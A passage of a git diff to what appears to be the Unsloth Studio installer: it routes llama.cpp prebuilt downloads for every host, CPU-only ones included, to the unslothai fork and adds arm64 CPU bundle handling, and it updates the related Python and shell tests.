 These back the in-app update for source-build (markerless) installs: the backend
 asks the installer whether an official prebuilt exists for this host without
@@ -24,9 +25,7 @@ if str(_studio) not in sys.path:
 
 ilp = importlib.import_module("install_llama_prebuilt")
 
-if not hasattr(ilp, "published_repo_for_host") or not hasattr(
-    ilp, "resolve_simple_install_release_plans"
-):
+if not hasattr(ilp, "resolve_simple_install_release_plans"):
     pytest.skip("PR symbols not present - check branch", allow_module_level = True)
 
 FORK = ilp.DEFAULT_PUBLISHED_REPO  # unslothai/llama.cpp
@@ -56,73 +55,6 @@ def _host(**kw):
     return ilp.HostInfo(**base)
 
 
-def test_published_repo_for_host():
-    # CPU-only Linux (x64 and arm64) -> ggml-org upstream.
-    assert ilp.published_repo_for_host(_host(is_linux = True, is_x86_64 = True)) == UPSTREAM
-    assert (
-        ilp.published_repo_for_host(_host(is_linux = True, is_arm64 = True, machine = "aarch64"))
-        == UPSTREAM
-    )
-    # GPU Linux -> fork.
-    assert (
-        ilp.published_repo_for_host(_host(is_linux = True, is_x86_64 = True, has_usable_nvidia = True))
-        == FORK
-    )
-    assert ilp.published_repo_for_host(_host(is_linux = True, is_x86_64 = True, has_rocm = True)) == FORK
-    # CPU-only Windows -> ggml-org (setup.ps1: the fork ships no win-cpu bundle).
-    assert (
-        ilp.published_repo_for_host(_host(system = "Windows", is_windows = True, is_x86_64 = True))
-        == UPSTREAM
-    )
-    # GPU Windows -> fork.
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Windows", is_windows = True, is_x86_64 = True, has_usable_nvidia = True)
-        )
-        == FORK
-    )
-    # macOS -> fork regardless of GPU (ggml-org macOS bundles need too-new macOS).
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Darwin", is_macos = True, is_arm64 = True, machine = "arm64")
-        )
-        == FORK
-    )
-    # Linux with AMD tooling but no probed GPU -> fork (setup.sh routes on tooling).
-    assert (
-        ilp.published_repo_for_host(
-            _host(is_linux = True, is_x86_64 = True), linux_amd_tooling_present = True
-        )
-        == FORK
-    )
-    # The tooling hint is Linux-only: Windows CPU stays on ggml-org.
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Windows", is_windows = True, is_x86_64 = True),
-            linux_amd_tooling_present = True,
-        )
-        == UPSTREAM
-    )
-
-
-def test_macos_intel_and_arm_both_route_to_fork():
-    # macOS uses the unslothai fork's own Mac prebuilts for BOTH arm64 and Intel;
-    # there is no longer any upstream-on-macOS default path, so the obsolete
-    # pre-macOS-26 pin (b9415) is gone.
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Darwin", is_macos = True, is_arm64 = True, machine = "arm64")
-        )
-        == FORK
-    )
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Darwin", is_macos = True, is_x86_64 = True, machine = "x86_64")
-        )
-        == FORK
-    )
-
-
 def test_macos_upstream_pin_only_for_explicit_pre26_upstream():
     pre26 = _host(
         system = "Darwin",
@@ -188,15 +120,13 @@ def test_resolve_prebuilt_unavailable(monkeypatch, capsys):
     assert out["repo"] == FORK
 
 
-def test_resolve_prebuilt_linux_amd_tooling_routes_to_fork(monkeypatch, capsys):
-    # CPU-probed Linux host but rocminfo on PATH: the dispatch must route to the
-    # fork so a HIP source build is not offered an upstream CPU prebuilt.
-    monkeypatch.setattr(ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True))
-    monkeypatch.setattr(ilp.shutil, "which", lambda tool: tool == "rocminfo")
+def _run_resolve_capture_host(monkeypatch, capsys):
+    """Drive --resolve-prebuilt and return the host the resolver was handed."""
     seen = {}
 
     def _resolver(tag, host, repo, published_release_tag):
         seen["repo"] = repo
+        seen["host"] = host
         raise ilp.PrebuiltFallback("no asset")
 
     monkeypatch.setattr(ilp, "resolve_simple_install_release_plans", _resolver)
@@ -207,10 +137,33 @@ def test_resolve_prebuilt_linux_amd_tooling_routes_to_fork(monkeypatch, capsys):
     )
     assert ilp.main() == ilp.EXIT_SUCCESS
     out = json.loads(capsys.readouterr().out.strip().splitlines()[-1])
+    return seen, out
+
+
+def test_resolve_prebuilt_cpu_linux_routes_to_fork(monkeypatch, capsys):
+    # CPU-only Linux host (no GPU): the dispatch routes to the fork, which now
+    # ships the CPU prebuilt -- it no longer falls back to ggml-org upstream.
+    monkeypatch.setattr(ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True))
+    seen, out = _run_resolve_capture_host(monkeypatch, capsys)
     assert seen["repo"] == FORK
     assert out["repo"] == FORK
 
 
+def test_resolve_prebuilt_rocm_sdk_only_host_still_offered_cpu(monkeypatch, capsys):
+    # A CPU-only host that merely has ROCm/HIP SDK tools on PATH (no AMD GPU, so
+    # detect_host leaves has_rocm False) is a valid CPU-prebuilt target. The probe
+    # must NOT reclassify it as ROCm from tool presence alone and suppress the CPU
+    # bundle -- that would deny the fork CPU prebuilt to a legitimate CPU source
+    # build. The host is left CPU-only and resolves against the fork.
+    monkeypatch.setattr(ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True))
+    monkeypatch.setattr(
+        ilp.shutil, "which", lambda tool: "/opt/rocm/bin/hipconfig" if tool == "hipconfig" else None
+    )
+    seen, out = _run_resolve_capture_host(monkeypatch, capsys)
+    assert seen["repo"] == FORK
+    assert seen["host"].has_rocm is False
+
+
 # Blackwell floor is sm_100 (data-center B100/B200, B300/GB300), below consumer
 # sm_120 -- 120 wrongly excluded data-center hosts from the prebuilt selection.
 
diff --git a/studio/backend/tests/test_llama_cpp_freshness.py b/studio/backend/tests/test_llama_cpp_freshness.py
index 2a2e113585..08e1334ac9 100644
--- a/studio/backend/tests/test_llama_cpp_freshness.py
+++ b/studio/backend/tests/test_llama_cpp_freshness.py
@@ -137,9 +137,9 @@ def test_read_install_marker_finds_windows_cmake_layout(tmp_path):
 
 @pytest.mark.parametrize("repo", ["unslothai/llama.cpp", "ggml-org/llama.cpp"])
 def test_read_install_marker_carries_published_repo_dynamically(tmp_path, repo):
-    # The freshness check queries whichever release repo the marker records,
-    # so CUDA (unslothai), CPU/macOS (ggml-org), and ROCm all get the right
-    # "latest" tag.
+    # The freshness check queries whichever release repo the marker records:
+    # new installs record the fork, legacy CPU/macOS markers still say ggml-org,
+    # and both must get the right "latest" tag.
     install_dir = tmp_path / "llama.cpp"
     _write_marker(install_dir, tag = "b9000", published_repo = repo)
     bin_path = _fake_binary(install_dir, layout = "cmake")
diff --git a/studio/backend/tests/test_llama_cpp_update.py b/studio/backend/tests/test_llama_cpp_update.py
index 4ceffbf75b..5138e90471 100644
--- a/studio/backend/tests/test_llama_cpp_update.py
+++ b/studio/backend/tests/test_llama_cpp_update.py
@@ -594,9 +594,10 @@ def test_install_cmd_fork_rocm_marker_forwards_has_rocm(monkeypatch, tmp_path):
 
 
 def test_install_cmd_ggml_cpu_marker_has_no_cpu_fallback(monkeypatch, tmp_path):
-    # CPU installs come from ggml-org. Re-running into the same install-dir/repo
-    # reproduces the same CPU bundle; --cpu-fallback (which force-drops GPU
-    # detection) is reserved for setup.sh's arm64 rescue and must not appear here.
+    # Legacy CPU installs recorded a ggml-org marker (new installs use the fork).
+    # Re-running into the same install-dir/repo reproduces the same CPU bundle;
+    # --cpu-fallback (which force-drops GPU detection) is reserved for setup.sh's
+    # arm64 rescue and must not appear here.
     cmd = _capture_install_cmd(
         monkeypatch,
         tmp_path,
diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index e40cb3083e..6c75e6c394 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -165,9 +165,9 @@ def env_int(
 # errors. Only use "master" temporarily when the latest release is missing
 # support for a new model architecture.
 DEFAULT_LLAMA_TAG = os.environ.get("UNSLOTH_LLAMA_TAG", "latest")
-# Default published repo for prebuilt release resolution. Linux uses
-# Unsloth prebuilts; setup.sh/setup.ps1 pass --published-repo explicitly
-# for macOS/Windows to override with ggml-org/llama.cpp when needed.
+# Default published repo for prebuilt release resolution. Every host plans
+# its prebuilt against the Unsloth fork; setup.sh/setup.ps1 pass it via
+# --published-repo. ggml-org is reachable only via an explicit override.
 DEFAULT_PUBLISHED_REPO = "unslothai/llama.cpp"
 DEFAULT_PUBLISHED_TAG = os.environ.get("UNSLOTH_LLAMA_RELEASE_TAG")
 DEFAULT_PUBLISHED_MANIFEST_ASSET = os.environ.get(
@@ -3135,21 +3135,6 @@ def _apply_host_overrides(
     return host
 
 
-def published_repo_for_host(host: HostInfo, *, linux_amd_tooling_present: bool = False) -> str:
-    """The release repo setup.sh / setup.ps1 pick for this host: macOS always the
-    fork (ggml-org macOS bundles need too-new macOS); else CPU-only Linux/Windows
-    -> ggml-org upstream (the fork ships no CPU bundle) and any usable GPU (NVIDIA
-    or ROCm) -> the fork. linux_amd_tooling_present mirrors setup.sh routing Linux
-    hosts that expose AMD tooling (rocminfo/amd-smi/hipconfig/hipinfo) to the fork
-    even when the probe cannot confirm an active GPU. Mirrors the shell routing."""
-    if host.is_macos:
-        return DEFAULT_PUBLISHED_REPO
-    has_gpu = (
-        host.has_usable_nvidia or host.has_rocm or (host.is_linux and linux_amd_tooling_present)
-    )
-    return DEFAULT_PUBLISHED_REPO if has_gpu else UPSTREAM_REPO
-
-
 def pick_windows_cuda_runtime(host: HostInfo) -> str | None:
     if not host.driver_cuda_version:
         return None
@@ -4015,6 +4000,9 @@ def resolve_release_asset_choice(
             published_choice = published_rocm_choice_for_host(release, host, "windows-rocm")
         else:
             published_choice = published_asset_choice_for_kind(release, "windows-cpu")
+    elif host.is_windows and host.is_arm64:
+        # Windows arm64 has no GPU prebuilt, so it always takes the CPU bundle.
+        published_choice = published_asset_choice_for_kind(release, "windows-arm64")
     elif host.is_macos and host.is_arm64:
         published_choice = published_asset_choice_for_kind(release, "macos-arm64")
     elif host.is_macos and host.is_x86_64:
@@ -6127,8 +6115,13 @@ def _linux_published_attempts(host: HostInfo, bundle: PublishedReleaseBundle) ->
         # CPU-only host. A usable-NVIDIA host never reaches here -- if its CUDA
         # selection produced nothing we want an empty attempt list so the caller
         # source-builds with CUDA, not a CPU-only binary silently installed on a
-        # GPU host (mirrors the ROCm branch, and Windows NVIDIA).
-        cpu_choice = published_asset_choice_for_kind(bundle, "linux-cpu")
+        # GPU host (mirrors the ROCm branch, and Windows NVIDIA). Only x86_64 and
+        # arm64 have a CPU bundle; any other Linux arch (ppc64le, riscv64, s390x)
+        # has none, so leave attempts empty and source-build rather than hand it
+        # the x86_64 linux-cpu binary (the Linux preflight checks libraries, not
+        # ELF arch, so a wrong-arch binary would not be caught).
+        kind = "linux-cpu" if host.is_x86_64 else "linux-arm64" if host.is_arm64 else None
+        cpu_choice = published_asset_choice_for_kind(bundle, kind) if kind else None
         if cpu_choice is not None:
             attempts.append(cpu_choice)
     return attempts
@@ -6143,9 +6136,9 @@ def _fork_manifest_release_plans(
     max_release_fallbacks: int = DEFAULT_MAX_PREBUILT_RELEASE_FALLBACKS,
 ) -> tuple[str, list[InstallReleasePlan]]:
     """Manifest-reading branch of resolve_simple_install_release_plans, used for
-    the fork's bundles whose GPU/arch coverage lives in
-    llama-prebuilt-manifest.json rather than in the filename: arm64 CUDA, Windows
-    CUDA, per-gfx ROCm, and macOS. Linux x64 takes the faster filename path."""
+    every fork host: all of the fork's bundles describe their GPU/arch coverage
+    in llama-prebuilt-manifest.json rather than in the asset filename (CPU,
+    x64/arm64 CUDA, Windows CUDA, per-gfx ROCm, and macOS)."""
     requested_tag = normalized_requested_llama_tag(llama_tag)
     allow_older_release_fallback = requested_tag == "latest" and not published_release_tag
     release_limit = max(1, max_release_fallbacks)
@@ -6714,8 +6707,8 @@ def install_prebuilt(
                 log(
                     f"no existing llama.cpp install detected at {install_dir}; performing fresh prebuilt install"
                 )
-            # Single resolver: linux-x64 takes the fast filename path internally,
-            # every other fork host reads the manifest.
+            # Single resolver: every fork host selects from the release manifest;
+            # an explicit ggml-org override selects by asset filename instead.
             requested_tag, release_plans = resolve_simple_install_release_plans(
                 llama_tag,
                 host,
@@ -6903,8 +6896,8 @@ def parse_args() -> argparse.Namespace:
         const = "latest",
         help = (
             "Report whether an official prebuilt exists for this host without "
-            "downloading. Picks the host's published repo when --published-repo "
-            "is left at the default. Use --output-format json."
+            "downloading. Plans against --published-repo (defaults to the "
+            "fork). Use --output-format json."
         ),
     )
     parser.add_argument(
@@ -6992,24 +6985,16 @@ def main() -> int:
         return EXIT_SUCCESS
 
     if args.resolve_prebuilt is not None:
-        # Host-aware "is a prebuilt available" probe, no download. A default repo
-        # means "pick the repo for this host"; PrebuiltFallback == source build.
+        # Host-aware "is a prebuilt available" probe, no download. Every host now
+        # plans against the fork (args.published_repo defaults to it); an explicit
+        # --published-repo overrides. PrebuiltFallback == source build.
         host = _apply_host_overrides(
             detect_host(),
             override_has_rocm = args.has_rocm,
             override_rocm_gfx = args.rocm_gfx,
             force_cpu = args.cpu_fallback,
         )
-        # setup.sh routes Linux hosts with AMD tooling to the fork even when no GPU
-        # is probed; mirror that so a HIP source build is not offered a CPU prebuilt.
-        amd_tooling = host.is_linux and any(
-            shutil.which(t) for t in ("rocminfo", "amd-smi", "hipconfig", "hipinfo")
-        )
-        repo = (
-            published_repo_for_host(host, linux_amd_tooling_present = amd_tooling)
-            if args.published_repo == DEFAULT_PUBLISHED_REPO
-            else args.published_repo
-        )
+        repo = args.published_repo
         try:
             _requested, plans = resolve_simple_install_release_plans(
                 args.resolve_prebuilt, host, repo, args.published_release_tag or ""
diff --git a/studio/setup.ps1 b/studio/setup.ps1
index bb1e88cc4e..07dcb17335 100644
--- a/studio/setup.ps1
+++ b/studio/setup.ps1
@@ -3088,12 +3088,11 @@ $LlamaCppDir = Join-Path $UnslothHome "llama.cpp"
 $NeedLlamaSourceBuild = $false
 $SkipPrebuiltInstall = $false
 $RequestedLlamaTag = if ($env:UNSLOTH_LLAMA_TAG) { $env:UNSLOTH_LLAMA_TAG } else { $DefaultLlamaTag }
-# GPU Windows (CUDA / ROCm) installs the fork's app-* prebuilts; CPU-only stays
-# on ggml-org (the fork ships no windows-cpu bundle). Mirrors setup.sh's routing.
-# A resolved gfx arch counts as a GPU host even when $HasROCm is false (Adrenalin
-# driver only, no HIP runtime): the fork's per-gfx bundle ships its own runtime,
-# so route there instead of ggml-org / a CPU build.
-$HelperReleaseRepo = if ($HasNvidiaSmi -or $HasROCm -or $script:ROCmGfxArch) { "unslothai/llama.cpp" } else { "ggml-org/llama.cpp" }
+# Every host installs the fork's app-* prebuilts now: GPU Windows (CUDA / ROCm)
+# already did, and the fork now also ships the CPU bundles for Windows x64 and
+# arm64 (windows-cpu / windows-arm64). ggml-org artifacts are no longer used by
+# default. Mirrors setup.sh's routing.
+$HelperReleaseRepo = "unslothai/llama.cpp"
 $LlamaPr = if ($env:UNSLOTH_LLAMA_PR) { $env:UNSLOTH_LLAMA_PR.Trim() } else { "" }
 
 $LlamaPrForce = if ($env:UNSLOTH_LLAMA_PR_FORCE) { $env:UNSLOTH_LLAMA_PR_FORCE.Trim() } else { $DefaultLlamaPrForce }
@@ -3283,11 +3282,13 @@ if ($LocalLlamaCppLinked) {
                 # treat a valid ROCm install as mismatched. A name-inferred gfx
                 # arch (Adrenalin-only, no confirmed runtime) still counts as
                 # ROCm-capable -- the ROCm prebuilt bundles its own runtime,
-                # mirroring the --rocm-gfx forward below. NOTE: this block is
-                # currently inert -- write_prebuilt_metadata does not persist an
-                # install_kind key, so $existingKind is always null. If that changes,
-                # add the remaining host kinds (e.g. windows-arm64) before relying on it.
-                $expectedKinds = if ($HasROCm -or $script:ROCmGfxArch) { @("windows-rocm", "windows-hip") } elseif ($HasNvidiaSmi) { @("windows-cuda") } else { @("windows-cpu") }
+                # mirroring the --rocm-gfx forward below. The CPU branch covers both
+                # the x64 windows-cpu and arm64 windows-arm64 bundles (Windows arm64
+                # has no GPU prebuilt). NOTE: this block is currently inert --
+                # write_prebuilt_metadata does not persist an install_kind key, so
+                # $existingKind is always null; keep $expectedKinds in sync with the
+                # kinds install_llama_prebuilt.py installs before relying on it.
+                $expectedKinds = if ($HasROCm -or $script:ROCmGfxArch) { @("windows-rocm", "windows-hip") } elseif ($HasNvidiaSmi) { @("windows-cuda") } else { @("windows-cpu", "windows-arm64") }
                 if ($existingKind -and ($existingKind -notin $expectedKinds)) {
                     substep "Removing mismatched llama.cpp install (found '$existingKind', need one of: $($expectedKinds -join ', '))..."
                     Remove-Item -Recurse -Force -LiteralPath $LlamaCppDir -ErrorAction SilentlyContinue
diff --git a/studio/setup.sh b/studio/setup.sh
index 6a74cd2296..d244e3cdcf 100755
--- a/studio/setup.sh
+++ b/studio/setup.sh
@@ -1176,63 +1176,19 @@ _REQUESTED_LLAMA_TAG="${UNSLOTH_LLAMA_TAG:-${_DEFAULT_LLAMA_TAG}}"
 _HOST_SYSTEM="$(uname -s 2>/dev/null || true)"
 _HOST_MACHINE="$(uname -m 2>/dev/null || true)"
 
-# Pick the release repo install_llama_prebuilt.py plans against.
-# The fork ships CUDA (Linux x64/arm64, Windows), ROCm (Linux/Windows) and
-# macOS bundles. Only the plain CPU/Vulkan bundles still come from ggml-org, so
-# CPU-only Linux (x86_64 and arm64) routes there; GPU Linux, Windows and macOS
-# use unslothai.
-_LINUX_HAS_GPU=false
-# Route to the fork only for a usable GPU. NVIDIA counts only when a device is
-# actually enumerated and not hidden via CUDA_VISIBLE_DEVICES=""/-1
-# (_setup_nvidia_usable, from _setup_has_usable_nvidia_gpu above) -- mirroring
-# install_llama_prebuilt.py's has_usable_nvidia. Mere nvidia-smi presence
-# (CPU-only CUDA-toolkit containers, broken drivers) or a hidden GPU therefore
-# takes the ggml-org CPU prebuilt instead of a slow source build. AMD is
-# deliberately left on tooling presence, not usability: an unusable NVIDIA host
-# has a good CPU prebuilt to fall back to, whereas tightening AMD would regress
-# ROCm hosts exposing only hipconfig/hipinfo into an unnecessary CPU build.
-if [ "$_setup_nvidia_usable" = true ]; then
-    _LINUX_HAS_GPU=true
-else
-    for _GPU_TOOL in rocminfo amd-smi hipconfig hipinfo; do
-        if command -v "$_GPU_TOOL" >/dev/null 2>&1; then
-            _LINUX_HAS_GPU=true
-            break
-        fi
-    done
-fi
+# Pick the release repo install_llama_prebuilt.py plans against. Every host this
+# installer supports now pulls its llama.cpp prebuilt from the unslothai fork: it
+# ships the CUDA (Linux x64/arm64, Windows), ROCm (Linux/Windows) and macOS
+# bundles, plus the CPU bundles for Linux/Windows on both x86_64 and arm64.
+# ggml-org artifacts are no longer used by default.
+_HELPER_RELEASE_REPO="unslothai/llama.cpp"
 # UNSLOTH_ROCM_GFX_ARCH may be set on a host where no probe fired, so the override
 # nested in the AMD-detected branch above never ran and _setup_gfx is still empty.
-# Honour it here so the routing guard below and the --rocm-gfx forwarding both see
-# it (install_llama_prebuilt.py reads the same env var as the --rocm-gfx default).
-if [ "$_setup_nvidia_usable" != true ] && [ -z "${_setup_gfx:-}" ] && [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ]; then
+# Honour it here so the --rocm-gfx forwarding below still sees it
+# (install_llama_prebuilt.py reads the same env var as the --rocm-gfx default).
+if [ "${_setup_nvidia_usable:-}" != true ] && [ -z "${_setup_gfx:-}" ] && [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ]; then
     _setup_gfx="${UNSLOTH_ROCM_GFX_ARCH}"
 fi
-# A resolved/forwarded gfx arch (UNSLOTH_ROCM_GFX_ARCH) means an AMD GPU even when
-# no ROCm tooling is on PATH; route it to the fork so the per-gfx prebuilt is
-# picked instead of ggml-org / a source build.
-if [ "$_LINUX_HAS_GPU" = false ] && [ -n "${_setup_gfx:-}" ]; then
-    _LINUX_HAS_GPU=true
-fi
-
-if [ "$_HOST_SYSTEM" = "Linux" ] \
-        && [ "$_HOST_MACHINE" = "x86_64" ] \
-        && [ "$_LINUX_HAS_GPU" = false ]; then
-    _HELPER_RELEASE_REPO="ggml-org/llama.cpp"
-elif [ "$_HOST_SYSTEM" = "Linux" ] \
-        && { [ "$_HOST_MACHINE" = "aarch64" ] || [ "$_HOST_MACHINE" = "arm64" ]; } \
-        && [ "$_LINUX_HAS_GPU" = false ]; then
-    # CPU-only Linux ARM64 (Ampere Altra, Raspberry Pi 5, GitHub
-    # `ubuntu-24.04-arm`, CPU-only Jetson rescue mode, ...). The fork ships no
-    # arm64 CPU bundle, so without this branch the prebuilt resolver returns 0
-    # attempts and the installer falls back to a source build. ggml-org ships
-    # llama-bNNNN-bin-ubuntu-arm64.tar.gz from at least b9072 onward.
-    _HELPER_RELEASE_REPO="ggml-org/llama.cpp"
-else
-    # GPU Linux (x64 CUDA/ROCm, arm64 CUDA), Windows (CUDA/ROCm), and macOS.
-    _HELPER_RELEASE_REPO="unslothai/llama.cpp"
-fi
-unset _GPU_TOOL
 _LLAMA_PR="${UNSLOTH_LLAMA_PR:-}"
 _SKIP_PREBUILT_INSTALL=false
 _LLAMA_PR_FORCE="${UNSLOTH_LLAMA_PR_FORCE:-${_DEFAULT_LLAMA_PR_FORCE}}"
@@ -1939,19 +1895,19 @@ else
 fi  # end _SKIP_GGUF_BUILD check
 
 # ── arm64 Linux GPU: CPU prebuilt as a last resort ──
-# arm64 Linux with a GPU has no CUDA prebuilt anywhere (the unslothai fork is
-# x64 only; ggml-org ships no Linux CUDA build), so it source-builds for the
-# GPU above. If that produced no binary, install ggml-org's arm64 CPU prebuilt
-# instead of leaving the host without llama.cpp.
+# An arm64 Linux GPU host source-builds for the GPU above. If that produced no
+# binary, install the fork's arm64 CPU prebuilt (app-<tag>-linux-arm64-cpu.tar.gz)
+# instead of leaving the host without llama.cpp. --cpu-fallback drops the GPU
+# attributes so the CPU bundle is selected rather than re-attempting CUDA.
 if [ "$_LLAMA_CPP_DEGRADED" = true ] \
         && [ "$_HOST_SYSTEM" = "Linux" ] \
         && { [ "$_HOST_MACHINE" = "aarch64" ] || [ "$_HOST_MACHINE" = "arm64" ]; }; then
-    substep "GPU source build unavailable; trying ggml-org arm64 CPU prebuilt..."
+    substep "GPU source build unavailable; trying arm64 CPU prebuilt..."
     _ARM64_CPU_CMD=(
         python "$SCRIPT_DIR/install_llama_prebuilt.py"
         --install-dir "$LLAMA_CPP_DIR"
         --llama-tag "$_REQUESTED_LLAMA_TAG"
-        --published-repo "ggml-org/llama.cpp"
+        --published-repo "unslothai/llama.cpp"
         --cpu-fallback
     )
     # Trust the installer's exit code: it validates the server before exiting 0,
diff --git a/tests/studio/install/test_llama_pr_force_and_source.py b/tests/studio/install/test_llama_pr_force_and_source.py
index 8f40c9d720..4ff8c349c3 100644
--- a/tests/studio/install/test_llama_pr_force_and_source.py
+++ b/tests/studio/install/test_llama_pr_force_and_source.py
@@ -362,8 +362,11 @@ class TestSourcePatternsSh:
         assert '_LLAMA_SOURCE="${_DEFAULT_LLAMA_SOURCE}"' in self.content
 
     def test_release_repo_override_removed(self):
+        # No env-based release-repo override, and CPU-only hosts no longer fall
+        # back to ggml-org -- every host now routes to the fork.
         assert "UNSLOTH_LLAMA_RELEASE_REPO:-unslothai/llama.cpp" not in self.content
-        assert '_HELPER_RELEASE_REPO="ggml-org/llama.cpp"' in self.content
+        assert '_HELPER_RELEASE_REPO="unslothai/llama.cpp"' in self.content
+        assert '_HELPER_RELEASE_REPO="ggml-org/llama.cpp"' not in self.content
 
     def test_force_compile_skips_prebuilt_resolution_early(self):
         assert 'if [ "$_LLAMA_FORCE_COMPILE" = "1" ]; then' in self.content
@@ -425,12 +428,11 @@ class TestSourcePatternsPs1:
         assert "$LlamaSource = $DefaultLlamaSource" in self.content
 
     def test_release_repo_override_removed(self):
-        # Repo chosen by GPU detection (GPU -> fork, CPU -> ggml-org), no env override.
+        # No env-based release-repo override; every host now routes to the fork
+        # (the CPU-only ggml-org fallback was removed), mirroring setup.sh.
         assert "$HelperReleaseRepo = if ($env:UNSLOTH_LLAMA_RELEASE_REPO)" not in self.content
-        assert (
-            "$HelperReleaseRepo = if ($HasNvidiaSmi -or $HasROCm -or $script:ROCmGfxArch) "
-            '{ "unslothai/llama.cpp" } else { "ggml-org/llama.cpp" }' in self.content
-        )
+        assert '$HelperReleaseRepo = "unslothai/llama.cpp"' in self.content
+        assert "$HelperReleaseRepo = if (" not in self.content
 
     def test_force_compile_skips_prebuilt_resolution_early(self):
         assert 'if ($env:UNSLOTH_LLAMA_FORCE_COMPILE -eq "1") {' in self.content
diff --git a/tests/studio/install/test_pr4562_bugfixes.py b/tests/studio/install/test_pr4562_bugfixes.py
index a8cec0cb85..0d2b092924 100644
--- a/tests/studio/install/test_pr4562_bugfixes.py
+++ b/tests/studio/install/test_pr4562_bugfixes.py
@@ -658,15 +658,21 @@ class TestSourceCodePatterns:
         assert "_HELPER_RELEASE_REPO}/releases/latest" not in content
         assert "ggml-org/llama.cpp/releases/latest" not in content
 
-    def test_setup_sh_routes_to_fork_only_on_usable_gpu(self):
-        """Linux routing gates NVIDIA on GPU usability, not nvidia-smi presence, so
-        CPU-only/hidden-GPU hosts get the ggml CPU prebuilt. Guards the old presence-only loop."""
+    def test_setup_sh_routes_every_host_to_fork(self):
+        """CPU-only Linux (the last ggml-org artifact consumer) now routes to the
+        fork like every other host, so the release-repo decision is unconditional.
+        Guards against a silent reintroduction of a ggml-org CPU routing branch.
+        GPU usability detection (used for PyTorch / source decisions) must stay."""
         content = SETUP_SH.read_text()
+        assert '_HELPER_RELEASE_REPO="unslothai/llama.cpp"' in content
+        assert '_HELPER_RELEASE_REPO="ggml-org/llama.cpp"' not in content
+        # Usability gating (not routing) still distinguishes a hidden GPU.
         assert '[ "$_setup_nvidia_usable" = true ]' in content
         assert "CUDA_VISIBLE_DEVICES" in content
-        # nvidia-smi must NOT be back in the bare presence loop.
-        assert "for _GPU_TOOL in nvidia-smi" not in content
-        assert "for _GPU_TOOL in rocminfo amd-smi hipconfig hipinfo" in content
+        # The GPU-tooling probe (PR #4562) stays: ROCm detection goes through
+        # command -v, not a bare presence loop that mishandled a hidden nvidia-smi.
+        assert "command -v rocminfo" in content
+        assert "command -v amd-smi" in content
 
     def test_setup_sh_reports_installed_prebuilt_release(self):
         """Shell wrapper should report the installed prebuilt release from metadata."""
diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py
index bfc8132683..5cabf41f57 100644
--- a/tests/studio/install/test_rocm_support.py
+++ b/tests/studio/install/test_rocm_support.py
@@ -3164,21 +3164,25 @@ class TestRocmGfxForwarding:
         assert "--rocm-gfx" in source
         assert "$script:ROCmGfxArch" in source
 
-    def test_setup_sh_routes_inferred_gfx_to_fork(self):
-        # An inferred gfx arch must route to the fork even without ROCm tooling.
-        # Pin the specific guard (a bare "${_setup_gfx:-}" also appears elsewhere).
+    def test_setup_sh_routes_unconditionally_to_fork(self):
+        # CPU-only hosts no longer fall back to ggml-org -- the release-repo
+        # decision is an unconditional fork assignment now. Pin the line text.
         source = _SETUP_SH_PATH.read_text(encoding = "utf-8")
-        assert '[ "$_LINUX_HAS_GPU" = false ] && [ -n "${_setup_gfx:-}" ]' in source
+        assert '_HELPER_RELEASE_REPO="unslothai/llama.cpp"' in source
+        assert '_HELPER_RELEASE_REPO="ggml-org/llama.cpp"' not in source
 
-    def test_setup_ps1_routes_inferred_gfx_to_fork(self):
-        # On Windows, a resolved $script:ROCmGfxArch counts as a fork install
-        # even when $HasROCm is false (Adrenalin-only, no HIP runtime).
+    def test_setup_ps1_routes_unconditionally_to_fork(self):
+        # Same on Windows: the fork now ships the windows-cpu / windows-arm64
+        # bundles, so $HelperReleaseRepo is an unconditional fork assignment.
         source = _SETUP_PS1_PATH.read_text(encoding = "utf-8")
-        assert "$HasNvidiaSmi -or $HasROCm -or $script:ROCmGfxArch" in source
+        assert '$HelperReleaseRepo = "unslothai/llama.cpp"' in source
+        assert "$HelperReleaseRepo = if (" not in source
 
-    # The assertions above pin the guard *text*; the tests below *execute* the
-    # real routing block and assert the resolved repo, so a refactor that keeps
-    # the literal but breaks the inferred-gfx -> fork decision is still caught.
+    # The text pins above guard the literal. The tests below *execute* the real
+    # routing line from setup.sh / setup.ps1 and assert the resolved release repo,
+    # so a refactor that reintroduces a conditional (or a ggml-org branch) is still
+    # caught. Inputs are varied -- CPU-only, inferred/forwarded gfx, usable NVIDIA --
+    # to prove no host slips back onto ggml-org. No GPU, no tooling, no network.
 
     @staticmethod
     def _resolve_setup_sh_repo(
@@ -3187,15 +3191,18 @@ class TestRocmGfxForwarding:
         setup_gfx,
         rocm_gfx_arch_env = "",
     ):
-        """Run setup.sh's routing block under bash with PATH emptied (no ROCm tooling) and return _HELPER_RELEASE_REPO."""
+        """Run setup.sh's release-repo routing block under bash and return the
+        resolved _HELPER_RELEASE_REPO. PATH is emptied so any stray tooling probe
+        misses; routing is unconditional, so the GPU inputs only prove no branch
+        reroutes a host to ggml-org."""
         import shutil
 
         bash = shutil.which("bash")
         if bash is None:
             pytest.skip("bash not available")
         source = _SETUP_SH_PATH.read_text(encoding = "utf-8")
-        start = source.index("\n_LINUX_HAS_GPU=false\n") + 1
-        end = source.index("\nunset _GPU_TOOL", start) + len("\nunset _GPU_TOOL")
+        start = source.index('\n_HELPER_RELEASE_REPO="unslothai/llama.cpp"\n') + 1
+        end = source.index("\n_LLAMA_PR=", start)
         block = source[start:end]
         assert "_HELPER_RELEASE_REPO" in block, "setup.sh routing anchors not found"
         env = {
@@ -3217,25 +3224,31 @@ class TestRocmGfxForwarding:
         assert result.returncode == 0, result.stderr
         return result.stdout.strip()
 
-    def test_setup_sh_inferred_gfx_resolves_to_fork(self):
-        # Only a name-inferred gfx arch -> route to the fork's per-gfx prebuilt
-        # (not ggml-org). x64 and arm64 share the fork branch.
